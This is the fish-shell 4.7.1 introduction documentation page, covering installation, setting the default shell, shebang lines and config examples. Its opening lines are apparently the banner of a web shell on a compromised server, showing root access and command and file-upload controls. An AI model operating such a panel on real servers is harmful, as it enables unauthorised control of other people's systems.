|
Server IP : 161.35.85.9 / Your IP : 216.73.217.134 Web Server : nginx/1.30.1 System : Linux cheapdeb-ams3 7.0.9+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 7.0.9-1 (2026-05-22) x86_64 User : root ( 0) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/wordpress/../doc/python3-ndg-httpsclient/../fish/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en" data-content_root="./">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Introduction — fish-shell 4.7.1 documentation</title>
<link rel="stylesheet" type="text/css" href="_static/pygments.css?v=4da8bbd6" />
<link rel="stylesheet" type="text/css" href="_static/pydoctheme.css?v=f89b4716" />
<script src="_static/documentation_options.js?v=36689d04"></script>
<script src="_static/doctools.js?v=fd6eb6e6"></script>
<script src="_static/sphinx_highlight.js?v=6ffebe34"></script>
<link rel="index" title="Index" href="genindex.html" />
<link rel="search" title="Search" href="search.html" />
<link rel="next" title="Frequently asked questions" href="faq.html" />
<link rel="shortcut icon" type="image/png" href="_static/fish.png" />
</head><body><div id="fmain">
<div class="related" role="navigation" aria-label="Related">
<h3>Navigation</h3>
<ul>
<li><img src="_static/fish.png" alt=""
style="width: 80px; height: 80px; vertical-align: middle; margin-top: -1px"/></li>
<li><a href="https://fishshell.com/">fish-shell</a> »</li>
<a href="#">fish-shell 4.7.1 documentation</a> »
<li class="nav-item nav-item-this"><a href="">Introduction</a></li>
<li class="right">
<div class="inline-search" role="search">
<form class="inline-search" action="search.html" method="get">
<input placeholder="Quick search" type="text" name="q" />
<input type="submit" value="Go" />
<input type="hidden" name="check_keywords" value="yes" />
<input type="hidden" name="area" value="default" />
</form>
</div>
</li>
<div id="old-docs-notice" style="display: none">
This documents an old version of fish.
<a href="../current/">See the latest release.</a>
</div>
</ul>
</div>
<div class="document">
<div class="sphinxsidebar" role="navigation" aria-label="Main">
<div class="sphinxsidebarwrapper">
<div>
<h3><a href="#">Documents</a></h3>
<ul class="current">
<li class="toctree-l1 current"><a class="current reference internal" href="#">Introduction</a></li>
<li class="toctree-l1"><a class="reference internal" href="faq.html">Frequently asked questions</a></li>
<li class="toctree-l1"><a class="reference internal" href="interactive.html">Interactive use</a></li>
<li class="toctree-l1"><a class="reference internal" href="language.html">The fish language</a></li>
<li class="toctree-l1"><a class="reference internal" href="commands.html">Commands</a></li>
<li class="toctree-l1"><a class="reference internal" href="fish_for_bash_users.html">Fish for bash users</a></li>
<li class="toctree-l1"><a class="reference internal" href="tutorial.html">Tutorial</a></li>
<li class="toctree-l1"><a class="reference internal" href="completions.html">Writing your own completions</a></li>
<li class="toctree-l1"><a class="reference internal" href="prompt.html">Writing your own prompt</a></li>
<li class="toctree-l1"><a class="reference internal" href="design.html">Design</a></li>
<li class="toctree-l1"><a class="reference internal" href="relnotes.html">Release notes</a></li>
<li class="toctree-l1"><a class="reference internal" href="terminal-compatibility.html">Terminal Compatibility</a></li>
<li class="toctree-l1"><a class="reference internal" href="contributing.html">Contributing To Fish</a></li>
<li class="toctree-l1"><a class="reference internal" href="license.html">License</a></li>
</ul>
</div>
<search id="searchbox" style="display: none" role="search">
<h3 id="searchlabel">Quick search</h3>
<div class="searchformwrapper">
<form class="search" action="search.html" method="get">
<input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
<input type="submit" value="Go" />
</form>
</div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>
<div>
<h4><a href="#">Sections</a></h4>
<ul>
<li><a class="reference internal" href="#">Introduction</a><ul>
<li><a class="reference internal" href="#where-to-go">Where to go?</a></li>
<li><a class="reference internal" href="#setup">Setup</a><ul>
<li><a class="reference internal" href="#installation">Installation</a></li>
<li><a class="reference internal" href="#starting-and-exiting">Starting and Exiting</a></li>
<li><a class="reference internal" href="#default-shell">Default Shell</a></li>
<li><a class="reference internal" href="#uninstalling">Uninstalling</a></li>
<li><a class="reference internal" href="#shebang-line">Shebang Line</a></li>
</ul>
</li>
<li><a class="reference internal" href="#configuration">Configuration</a><ul>
<li><a class="reference internal" href="#examples">Examples:</a></li>
</ul>
</li>
<li><a class="reference internal" href="#resources">Resources</a></li>
<li><a class="reference internal" href="#other-help-pages">Other help pages</a></li>
</ul>
</li>
</ul>
</div>
</div>
</div>
<div class="documentwrapper">
<div class="bodywrapper">
<div class="body" role="main">
<section id="introduction">
<span id="intro"></span><h1>Introduction<a class="headerlink" href="#introduction" title="Link to this heading">¶</a></h1>
<p>This is the documentation for <strong class="command">fish</strong>, the <strong>f</strong>riendly <strong>i</strong>nteractive <strong>sh</strong>ell.</p>
<p>A shell is a program that helps you operate your computer by starting other programs. fish offers a command-line interface focused on usability and interactive use.</p>
<p>Some of the special features of fish are:</p>
<ul class="simple">
<li><p><strong>Extensive UI</strong>: <a class="reference internal" href="interactive.html#syntax-highlighting"><span class="std std-ref">Syntax highlighting</span></a>, <a class="reference internal" href="interactive.html#autosuggestions"><span class="std std-ref">Autosuggestions</span></a>, <a class="reference internal" href="interactive.html#tab-completion"><span class="std std-ref">tab completion</span></a> and selection lists that can be navigated and filtered.</p></li>
<li><p><strong>No configuration needed</strong>: fish is designed to be ready to use immediately, without requiring extensive configuration.</p></li>
<li><p><strong>Easy scripting</strong>: New <a class="reference internal" href="language.html#syntax-function"><span class="std std-ref">functions</span></a> can be added on the fly. The syntax is easy to learn and use.</p></li>
</ul>
<p>This page explains how to install and set up fish and where to get more information.</p>
<section id="where-to-go">
<h2>Where to go?<a class="headerlink" href="#where-to-go" title="Link to this heading">¶</a></h2>
<p>If this is your first time using fish, see the <a class="reference internal" href="tutorial.html"><span class="doc">tutorial</span></a>.</p>
<p>If you are already familiar with other shells like bash and want to see the scripting differences, see <a class="reference internal" href="fish_for_bash_users.html"><span class="doc">Fish For Bash Users</span></a>.</p>
<p>For an overview of fish’s scripting language, see <a class="reference internal" href="language.html"><span class="doc">The Fish Language</span></a>. If it would be useful in a script file, it’s here.</p>
<p>For information on using fish interactively, see <a class="reference internal" href="interactive.html"><span class="doc">Interactive use</span></a>. If it’s about key presses, syntax highlighting or anything else that needs an interactive terminal session, look here.</p>
<p>If you need to install fish first, read on, the rest of this document will tell you how to get, install and configure fish.</p>
</section>
<section id="setup">
<h2>Setup<a class="headerlink" href="#setup" title="Link to this heading">¶</a></h2>
<p>This section describes how to install, uninstall, start, and exit <strong class="command">fish</strong>. It also explains how to make fish the default shell.</p>
<section id="installation">
<h3>Installation<a class="headerlink" href="#installation" title="Link to this heading">¶</a></h3>
<p>Up-to-date instructions for installing the latest version of fish are on the <a class="reference external" href="https://fishshell.com/">fish homepage</a>.</p>
<p>To install the development version of fish, see the instructions on the <a class="reference external" href="https://github.com/fish-shell/fish-shell">project’s GitHub page</a>.</p>
</section>
<section id="starting-and-exiting">
<h3>Starting and Exiting<a class="headerlink" href="#starting-and-exiting" title="Link to this heading">¶</a></h3>
<p>Once fish has been installed, open a terminal. If fish is not the default shell:</p>
<ul>
<li><p>Type <strong class="command">fish</strong> to start a shell:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="gp">> </span><span class="nf">fish</span>
</pre></div>
</div>
</li>
<li><p>Type <strong class="command">exit</strong> to end the session:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="gp">> </span><span class="nf">exit</span>
</pre></div>
</div>
</li>
</ul>
</section>
<section id="default-shell">
<h3>Default Shell<a class="headerlink" href="#default-shell" title="Link to this heading">¶</a></h3>
<p>There are multiple ways to switch to fish (or any other shell) as your default.</p>
<p>The simplest method is to set your terminal emulator (e.g. GNOME Terminal, Apple’s Terminal.app, or Konsole) to start fish directly. See its configuration and set the program to start to <code class="docutils literal notranslate"><span class="pre">/usr/local/bin/fish</span></code> (the exact path depends on how you installed fish).</p>
<p>Alternatively, you can set fish as your login shell so that it will be started by all terminal logins, including SSH.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>Setting fish as your login shell may cause issues, such as an incorrect <span class="target" id="index-0"></span><a class="reference internal" href="language.html#envvar-PATH"><code class="xref std std-envvar docutils literal notranslate"><span class="pre">PATH</span></code></a>. Some operating systems, including a number of Linux distributions, require the login shell to be Bourne-compatible and to read configuration from <code class="docutils literal notranslate"><span class="pre">/etc/profile</span></code>. fish may not be suitable as a login shell on these systems.</p>
</div>
<p>To change your login shell to fish:</p>
<ol class="arabic">
<li><p>Add the shell to <code class="docutils literal notranslate"><span class="pre">/etc/shells</span></code> with:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="gp">> </span><span class="nf">command</span><span class="w"> </span><span class="no">-v</span><span class="w"> </span><span class="no">fish</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="nf">sudo</span><span class="w"> </span><span class="no">tee</span><span class="w"> </span><span class="no">-a</span><span class="w"> </span><span class="no">/etc/shells</span>
</pre></div>
</div>
</li>
<li><p>Change your default shell with:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="gp">> </span><span class="nf">chsh</span><span class="w"> </span><span class="no">-s</span><span class="w"> </span><span class="s2">"</span><span class="o">$(</span><span class="nf">command</span><span class="w"> </span><span class="no">-v</span><span class="w"> </span><span class="no">fish</span><span class="o">)</span><span class="s2">"</span>
</pre></div>
</div>
</li>
</ol>
<p>To change it back to another shell, substitute <code class="docutils literal notranslate"><span class="pre">fish</span></code> with <code class="docutils literal notranslate"><span class="pre">bash</span></code>, <code class="docutils literal notranslate"><span class="pre">tcsh</span></code> or <code class="docutils literal notranslate"><span class="pre">zsh</span></code> as appropriate in the above command.</p>
</section>
<section id="uninstalling">
<h3>Uninstalling<a class="headerlink" href="#uninstalling" title="Link to this heading">¶</a></h3>
<p>For uninstalling fish: see <a class="reference internal" href="faq.html#faq-uninstalling"><span class="std std-ref">FAQ: Uninstalling fish</span></a>.</p>
</section>
<section id="shebang-line">
<h3>Shebang Line<a class="headerlink" href="#shebang-line" title="Link to this heading">¶</a></h3>
<p>Because shell scripts are written in many different languages, they need to carry information about which interpreter should be used to execute them. For this, they are expected to have a first line, the shebang line, which names the interpreter executable.</p>
<p>A script written in <strong class="command">bash</strong> would need a first line like this:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="c">#!/bin/bash</span>
</pre></div>
</div>
<p>When the shell tells the kernel to execute the file, it will use the interpreter <code class="docutils literal notranslate"><span class="pre">/bin/bash</span></code>.</p>
<p>For a script written in another language, just replace <code class="docutils literal notranslate"><span class="pre">/bin/bash</span></code> with the interpreter for that language. For example: <code class="docutils literal notranslate"><span class="pre">/usr/bin/python</span></code> for a python script, or <code class="docutils literal notranslate"><span class="pre">/usr/local/bin/fish</span></code> for a fish script, if that is where you have them installed.</p>
<p>If you want to share your script with others, you might want to use <strong class="command">env</strong> to allow for the interpreter to be installed in other locations. For example:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="c">#!/usr/bin/env fish</span>
<span class="nf">echo</span><span class="w"> </span><span class="no">Hello</span><span class="w"> </span><span class="no">from</span><span class="w"> </span><span class="no">fish</span><span class="w"> </span><span class="o">$version</span>
</pre></div>
</div>
<p>This will call <code class="docutils literal notranslate"><span class="pre">env</span></code>, which then goes through <span class="target" id="index-1"></span><a class="reference internal" href="language.html#envvar-PATH"><code class="xref std std-envvar docutils literal notranslate"><span class="pre">PATH</span></code></a> to find a program called “fish”. This makes it work, whether fish is installed in (for example) <code class="docutils literal notranslate"><span class="pre">/usr/local/bin/fish</span></code>, <code class="docutils literal notranslate"><span class="pre">/usr/bin/fish</span></code>, or <code class="docutils literal notranslate"><span class="pre">~/.local/bin/fish</span></code>, as long as that directory is in <span class="target" id="index-2"></span><a class="reference internal" href="language.html#envvar-PATH"><code class="xref std std-envvar docutils literal notranslate"><span class="pre">PATH</span></code></a>.</p>
<p>The shebang line is only used when scripts are executed without specifying the interpreter. For functions inside fish or when executing a script with <code class="docutils literal notranslate"><span class="pre">fish</span> <span class="pre">/path/to/script</span></code>, a shebang is not required (but it doesn’t hurt!).</p>
<p>When executing files without an interpreter, fish, like other shells, tries your system shell, typically <code class="docutils literal notranslate"><span class="pre">/bin/sh</span></code>. This is needed because some scripts are shipped without a shebang line.</p>
</section>
</section>
<section id="configuration">
<h2>Configuration<a class="headerlink" href="#configuration" title="Link to this heading">¶</a></h2>
<p>To store configuration write it to a file called <code class="docutils literal notranslate"><span class="pre">~/.config/fish/config.fish</span></code>.</p>
<p><code class="docutils literal notranslate"><span class="pre">.fish</span></code> scripts in <code class="docutils literal notranslate"><span class="pre">~/.config/fish/conf.d/</span></code> are also automatically executed before <code class="docutils literal notranslate"><span class="pre">config.fish</span></code>.</p>
<p>These files are read on the startup of every shell, whether interactive and/or if they’re login shells. Use <code class="docutils literal notranslate"><span class="pre">status</span> <span class="pre">--is-interactive</span></code> and <code class="docutils literal notranslate"><span class="pre">status</span> <span class="pre">--is-login</span></code> to do things only in interactive/login shells, respectively.</p>
<p>This is the short version; for a full explanation, like for sysadmins or integration for developers of other software, see <a class="reference internal" href="language.html#configuration"><span class="std std-ref">Configuration files</span></a>.</p>
<p>If you want to see what you changed over fish’s defaults, see <a class="reference internal" href="cmds/fish_delta.html"><span class="doc">fish_delta</span></a>.</p>
<section id="examples">
<h3>Examples:<a class="headerlink" href="#examples" title="Link to this heading">¶</a></h3>
<p>To add <code class="docutils literal notranslate"><span class="pre">~/linux/bin</span></code> to PATH variable when using a login shell, add this to <code class="docutils literal notranslate"><span class="pre">~/.config/fish/config.fish</span></code> file:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="nf">if</span><span class="w"> </span><span class="nf">status</span><span class="w"> </span><span class="no">--is-login</span>
<span class="w"> </span><span class="nf">set</span><span class="w"> </span><span class="no">-gx</span><span class="w"> </span><span class="no">PATH</span><span class="w"> </span><span class="o">$PATH</span><span class="w"> </span><span class="o">~</span><span class="no">/linux/bin</span>
<span class="nf">end</span>
</pre></div>
</div>
<p>This is just an example; using <a class="reference internal" href="cmds/fish_add_path.html"><span class="doc">fish_add_path</span></a> e.g. <code class="docutils literal notranslate"><span class="pre">fish_add_path</span> <span class="pre">~/linux/bin</span></code> which only adds the path if it isn’t included yet is easier.</p>
<p>To run commands on exit, use an <a class="reference internal" href="language.html#event"><span class="std std-ref">event handler</span></a> that is triggered by the exit of the shell:</p>
<div class="highlight-fish-docs-samples notranslate"><div class="highlight"><pre><span></span><span class="nf">function</span><span class="w"> </span><span class="no">on_exit</span><span class="w"> </span><span class="no">--on-event</span><span class="w"> </span><span class="no">fish_exit</span>
<span class="w"> </span><span class="nf">echo</span><span class="w"> </span><span class="no">fish</span><span class="w"> </span><span class="no">is</span><span class="w"> </span><span class="no">now</span><span class="w"> </span><span class="no">exiting</span>
<span class="nf">end</span>
</pre></div>
</div>
</section>
</section>
<section id="resources">
<span id="more-help"></span><h2>Resources<a class="headerlink" href="#resources" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>The <a class="reference external" href="https://github.com/fish-shell/fish-shell/">GitHub page</a></p></li>
<li><p>The official <a class="reference external" href="https://matrix.to/#/#fish-shell:matrix.org">Matrix room</a></p></li>
<li><p>The official mailing list at <a class="reference external" href="https://lists.sourceforge.net/lists/listinfo/fish-users">fish-users@lists.sourceforge.net</a></p></li>
</ul>
<p>If you have an improvement for fish, you can submit it via the GitHub page.</p>
</section>
<section id="other-help-pages">
<h2>Other help pages<a class="headerlink" href="#other-help-pages" title="Link to this heading">¶</a></h2>
<div class="toctree-wrapper compound">
<ul class="current">
<li class="toctree-l1 current"><a class="current reference internal" href="#">Introduction</a></li>
<li class="toctree-l1"><a class="reference internal" href="faq.html">Frequently asked questions</a></li>
<li class="toctree-l1"><a class="reference internal" href="interactive.html">Interactive use</a></li>
<li class="toctree-l1"><a class="reference internal" href="language.html">The fish language</a></li>
<li class="toctree-l1"><a class="reference internal" href="commands.html">Commands</a></li>
<li class="toctree-l1"><a class="reference internal" href="fish_for_bash_users.html">Fish for bash users</a></li>
<li class="toctree-l1"><a class="reference internal" href="tutorial.html">Tutorial</a></li>
<li class="toctree-l1"><a class="reference internal" href="completions.html">Writing your own completions</a></li>
<li class="toctree-l1"><a class="reference internal" href="prompt.html">Writing your own prompt</a></li>
<li class="toctree-l1"><a class="reference internal" href="design.html">Design</a></li>
<li class="toctree-l1"><a class="reference internal" href="relnotes.html">Release notes</a></li>
<li class="toctree-l1"><a class="reference internal" href="terminal-compatibility.html">Terminal Compatibility</a></li>
<li class="toctree-l1"><a class="reference internal" href="contributing.html">Contributing To Fish</a></li>
<li class="toctree-l1"><a class="reference internal" href="license.html">License</a></li>
</ul>
</div>
</section>
</section>
<div class="clearer"></div>
</div>
</div>
</div>
<div class="clearer"></div>
</div>
<div class="related" role="navigation" aria-label="Related">
<h3>Navigation</h3>
<ul>
<li><img src="_static/fish.png" alt=""
style="width: 80px; height: 80px; vertical-align: middle; margin-top: -1px"/></li>
<li><a href="https://fishshell.com/">fish-shell</a> »</li>
<a href="#">fish-shell 4.7.1 documentation</a> »
<li class="nav-item nav-item-this"><a href="">Introduction</a></li>
<li class="right">
<div class="inline-search" role="search">
<form class="inline-search" action="search.html" method="get">
<input placeholder="Quick search" type="text" name="q" />
<input type="submit" value="Go" />
<input type="hidden" name="check_keywords" value="yes" />
<input type="hidden" name="area" value="default" />
</form>
</div>
</li>
<div id="old-docs-notice" style="display: none">
This documents an old version of fish.
<a href="../current/">See the latest release.</a>
</div>
</ul>
</div>
<div class="footer">
© Copyright fish-shell developers.
<br />
<a href="https://github.com/fish-shell/fish-shell/issues">Found a bug</a>?
<br />
Created using <a href="https://www.sphinx-doc.org/">Sphinx</a> 9.1.0.
</div>
</div>
<script type="text/javascript">
FISH_DOCS_VERSION = "4.7";
function copy_to_clipboard(it) {
// Find the pre tag we're interested in.
var pre = it.target;
while (pre.tagName != "PRE") pre = pre.parentNode;
var txt = "";
// Cheesy: If we have a prompt,
// we only copy prompted lines,
// by splitting and matching and stuff
if (pre.querySelector('span.gp')) {
var texts= [];
for (var line of pre.innerText.split('\n')) {
if (line.match(/^>_?.*/)) {
texts.push(line.replace(/^>_?/, ""));
}
}
txt = texts.join("\n");
} else {
// Even cheesier: If we don't have a prompt, we remove the button text from the end.
var txt = pre.innerText.substring(0, pre.innerText.length - it.target.innerText.length).trim();
}
navigator.clipboard.writeText(txt).then(function() {
// Success - set the text to indicate it,
// then set it back after 2 seconds.
var span = pre.querySelector("button span");
if (span) {
var oldText = span.innerText;
span.innerText = "COPIED!";
setTimeout(function() {
span.innerText = oldText;
}, 2000);
}
}, function() {
});
}
(function () {
// Add copy buttons to all the codeblocks.
var codeblocks = document.querySelectorAll('div > pre');
var button = document.createElement('button');
var span = document.createElement('span');
span.innerText = "COPY";
button.appendChild(span);
for (var i of codeblocks) {
var newButton = button.cloneNode(true);
newButton.addEventListener('click', copy_to_clipboard);
i.appendChild(newButton);
}
})();
</script>
</body>
</html>